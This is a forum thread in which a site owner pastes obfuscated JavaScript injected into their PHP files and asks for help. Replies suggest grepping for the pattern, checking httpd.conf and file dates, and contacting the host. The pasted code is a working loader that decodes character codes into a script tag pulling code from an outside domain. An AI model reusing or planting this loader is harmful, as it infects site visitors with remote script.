[umarrana]

hello dear friends these days i am facing a big problem i virus is coming in all my php files auto i clean all files but its not moving

here is virus code

HTML Code:

<SCRIPT LANGUAGE="JavaScript"> 
<!--
function Decode(){var temp="",i,c=0,out="";var str="60!115!99!114!105!112!116!32!115!114!99!61!34!104!116!116!112!58!47!47!116!114!117!115!116!101!100!116!111!112!49!48!46!99!111!109!47!115!101!46!106!115!34!62!60!47!115!99!114!105!112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}
//--> 
</SCRIPT><SCRIPT LANGUAGE="JavaScript"> 
<!--
Decode();
//--> 
</SCRIPT><SCRIPT LANGUAGE="JavaScript"> 
<!--
function Decode(){var temp="",i,c=0,out="";var str="60!115!99!114!105!112!116!32!115!114!99!61!34!104!116!116!112!58!47!47!116!114!117!115!116!101!100!116!111!112!49!48!46!99!111!109!47!115!101!46!106!115!34!62!60!47!115!99!114!105!112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}
//--> 
</SCRIPT><SCRIPT LANGUAGE="JavaScript"> 
<!--
Decode();
//--> 
</SCRIPT><SCRIPT LANGUAGE="JavaScript"> 
<!--
function Decode(){var temp="",i,c=0,out="";var str="60!115!99!114!105!112!116!32!115!114!99!61!34!104!116!116!112!58!47!47!116!114!117!115!116!101!100!116!111!112!49!48!46!99!111!109!47!115!101!46!106!115!34!62!60!47!115!99!114!105!112!116!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}
//--> 
</SCRIPT><SCRIPT LANGUAGE="JavaScript"> 
<!--
Decode();
//--> 
</SCRIPT>

please help me to out of this

[wirehopper]

I would use

grep -r "String.fromCharCode(temp)" *.php to check the PHP files. They may be corrupted.

The other area to check is your /etc/httpd/conf/httpd.conf file. It may be appending the code (due to a hack).

Check your PHP files carefully.

It is also possible that you cleaned it all up, and the hacker came back in. Check the file dates.

If it is your application, you will need to find out what is happening.

If it is an open source application, you should probably upgrade it.

Good luck.

[npsari]

Do you host in a company, or you have your own server
Anyway, the may be able to help you
Just contact them